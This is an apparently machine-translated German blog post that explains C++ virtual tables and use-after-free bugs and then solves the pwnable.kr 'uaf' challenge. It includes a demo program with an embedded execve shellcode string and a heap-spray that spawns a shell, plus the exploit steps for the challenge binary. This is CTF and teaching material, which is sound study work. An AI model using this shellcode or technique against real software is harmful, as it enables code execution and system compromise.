Lösen eines Jobs mit pwnable.kr 16 - uaf. Verwendung nach freier Sicherheitslücke

Bild

In diesem Artikel werden wir uns mit UAF befassen und auch die 16. Aufgabe auf der Website pwnable.kr lösen .

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
  • PWN;
  • Kryptographie (Krypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Kanal und eine Gruppe eingerichtet, um alle Probleme im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.

Vererbung und virtuelle Methoden


Virtuelle Funktion - in der objektorientierten Programmierung eine Klassenfunktion, die in Nachfolgeklassen überschrieben werden kann. Daher muss der Programmierer nicht den genauen Typ des Objekts kennen, um mit ihm über virtuelle Methoden arbeiten zu können: Es reicht aus zu wissen, dass das Objekt zur Klasse oder zum Nachkommen der Klasse gehört, in der die Methode deklariert ist.

Nehmen wir einfach an, wir haben eine Basisklasse Animal definiert, die eine virtuelle Streifenfunktion hat. Die Tierklasse kann also zwei Kinderklassen haben: Katze und Hund. Die virtuelle Funktion Cat: sreak () gibt myau aus und Dog: sreak gibt gav aus. Aber wenn dieselbe Struktur im Speicher gespeichert ist, wie versteht das Programm, welche der Streifen aufgerufen werden sollen?

Alle Arbeiten werden von der Tabelle der virtuellen Methoden (TVM) oder von vtable bereitgestellt.

Jede Klasse hat ihren eigenen TVM und der Compiler fügt seinen virtuellen Tabellenzeiger (vptr - Zeiger auf vtable) als erste lokale Variable dieses Objekts hinzu. Lass es uns überprüfen.
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; } 

Kompilieren und ausführen, um die Ausgabe anzuzeigen.
 g++ ex.c -o ex.bin 

Bild

Führen Sie nun unter dem Debugger in der IDA aus und stoppen Sie, bevor Sie die erste Funktion aufrufen. Gehen Sie zum HEX-View-Fenster und synchronisieren Sie es mit dem RAX-Register.

Bild

Im ausgewählten Fragment sehen wir den Wert der Variablen var1, wenn Variablen vom Typ ANIMALS und CAT definiert werden. Wie bereits erwähnt, befinden sich vor beiden Variablen Adressen. Dies sind Zeiger auf VMT (0x559f9898fd90 und 0x559f9898fd70).

Mal sehen, was passiert, wenn func1 aufgerufen wird:
  1. Zunächst haben wir in RAX mithilfe des ptr-Zeigers eine Adresse für das Objekt.
  2. Weiterhin wird in RAX der erste Wert des Objekts gelesen - ein Zeiger auf VMT (auf sein erstes Element).
  3. In RAX wird der erste Wert von VMT gelesen - ein Zeiger auf dieselbe virtuelle Methode.
  4. In RDX wird ein Zeiger auf das Objekt eingegeben (häufiger dies).
  5. Ein virtueller Methodenaufruf wird durchgeführt.


Bild

Wenn func2 aufgerufen wird, passiert dasselbe, mit einer Ausnahme, dass nicht der erste Datensatz (RAX), sondern der zweite (RAX + 8) von VMT gelesen wird. Dies ist der Mechanismus für die Arbeit mit virtuellen Methoden.

Bild

UAF


Diese Sicherheitsanfälligkeit ist typisch für den Heap, da der Stapel zum Speichern von Daten einer kleinen Menge (lokale Variablen) ausgelegt ist. Der Heap ist ein dynamischer Speicher und eignet sich perfekt zum Speichern großer Datenmengen. In diesem Fall kann die Zuweisung und Freigabe des Speichers während der Programmausführung erfolgen. Aus diesem Grund muss jedoch überwacht werden, welcher Speicher belegt ist und welcher nicht. Dazu benötigen Sie einen Service-Header für den zugewiesenen Speicherblock. Es enthält die Startadresse und einen Zeiger auf das erste Element des Blocks. Und während der Haufen im Gegensatz zum Stapel nach unten wächst.

Das Wesentliche an der Sicherheitsanfälligkeit ist, dass das Programm nach dem Freigeben des Speichers möglicherweise auf diesen Bereich verweist. Es gibt also hängende Zeiger. Ändern Sie den Programmcode und überprüfen Sie dies.
 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; } 

Bild

Lassen Sie uns herausfinden, wo das Programm abstürzt. In Analogie zum vorherigen Beispiel stoppe ich vor dem Aufrufen der Funktion und synchronisiere Hex-View mit RAX. Wir sehen, auf welchem ​​Objekt sich unser Objekt befinden soll. Wenn Sie jedoch die folgende Anweisung ausführen, verbleibt 0 im RAX-Register. Wenn Sie bereits versuchen, 0 zu dereferenzieren, stürzt das Programm ab.

Bild

Bild

Für die Ausnutzung von UAF ist es daher erforderlich, den Shellcode in das Programm zu übertragen und dann über den hängenden Zeiger (in VMT) zu seinem Anfang zu gelangen. Dies ist möglich, weil der Heap auf Anforderung einen Speicherblock zuweist, der zuvor freigegeben wurde, und auf diese Weise können wir VMT emulieren, das auf Shellcode verweist. Mit anderen Worten, wo sich zuvor die Adresse der VMT-Funktion befand, befindet sich jetzt die Shellcode-Adresse. Wir können jedoch nicht garantieren, dass der Speicher für das einzige ausgewählte Objekt mit der gerade gelöschten Zone übereinstimmt. Daher erstellen wir mehrere solcher Objekte in einer Schleife.

Schauen wir uns ein Beispiel an. Nehmen Sie zunächst den Shellcode von hier .
 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 

Und ergänzen Sie unseren Code:
 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; } 

Nach dem Kompilieren und Ausführen erhalten wir eine vollständige Shell.

Bild

Uaf Joblösung


Wir klicken auf das von uaf signierte Symbol und es wird uns mitgeteilt, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Bild

Wenn verbunden, sehen wir das entsprechende Banner.

Bild

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Bild

Sehen wir uns den Quellcode an
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } 


Ganz am Anfang des Programms haben wir zwei Objekte von Klassen, die von der Klasse Human geerbt wurden. Welches hat eine Funktion, die uns eine Hülle gibt.

Bild

Als nächstes sind wir eingeladen, eine von drei Aktionen vorzustellen:
  1. Objektinformationen anzeigen;
  2. Schreiben in eine Reihe von Daten, die als Programmparameter akzeptiert werden;
  3. Löschen Sie das erstellte Objekt.


Bild

Da die UAF-Sicherheitsanfälligkeit in dieser Aufgabe berücksichtigt wird, sollte der Plan wie folgt aussehen: Erstellen - Löschen - Schreiben auf den Heap - Empfangen von Informationen.

Der einzige Schritt, über den wir die volle Kontrolle haben, ist das Schreiben auf den Heap. Vor der Aufnahme müssen wir jedoch wissen, wie VMT nach diesen Objekten sucht und welche Adresse die Funktion hat, die uns die Shell gibt. Anhand eines Beispiels haben wir verstanden, wie VMT funktioniert. Zeiger auf Adressen werden nacheinander gespeichert, d. H.
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) usw.

Da die erste Funktion in VMT give_shell () ist und die Funktion Man :: Introduce () aufgerufen wird, ist die zweite Adresse von VMT die eingegebene Adresse. Angesichts des 64-Bit-Systems: * Introduce = * give_shell + 8. Wir werden eine Bestätigung dafür finden:

Bild

Die Zeile main + 272 bestätigt unsere Annahme, da sich die Adresse relativ zur Basis um 8 erhöht.

Legen Sie einen Haltepunkt fest und überprüfen Sie den Inhalt von EAX, um die Basisadresse zu ermitteln.

Bild

Bild

Bild

Wir haben die Basisadresse gefunden: 0x0000000000401570. Daher müssen wir anstelle der Shell die um 8 reduzierte Adresse give_shell () in den Heap schreiben, damit sie als VMT-Basis verwendet wird, während das Programm um 8 erhöht und uns eine Shell gibt.

Bild

Das Programm als Parameter ist die Anzahl der Bytes, die es aus der Datei liest, und der Name der Datei. Es bleibt ein wenig, die Daten zu überschreiben. Sie müssen einen Speicherblock in der Größe eines freigegebenen Blocks zuweisen. Finden Sie die Größe des Blocks, der ein Objekt belegt.

Bild

Daher werden vor dem Erstellen des Objekts 0x18 = 24 Bytes reserviert. Das heißt, wir müssen eine Datei erstellen, die aus 24 Bytes besteht.

Bild

Da das Programm zwei Objekte freigibt, müssen wir die Daten zweimal schreiben.

Bild

Wir bekommen die Muschel, lesen die Flagge, wir bekommen 8 Punkte.

Bild

Sie können sich uns per Telegramm anschließen . Das nächste Mal werden wir uns mit dem Ausrichten des Speichers befassen.

Source: https://habr.com/ru/post/de462471/


All Articles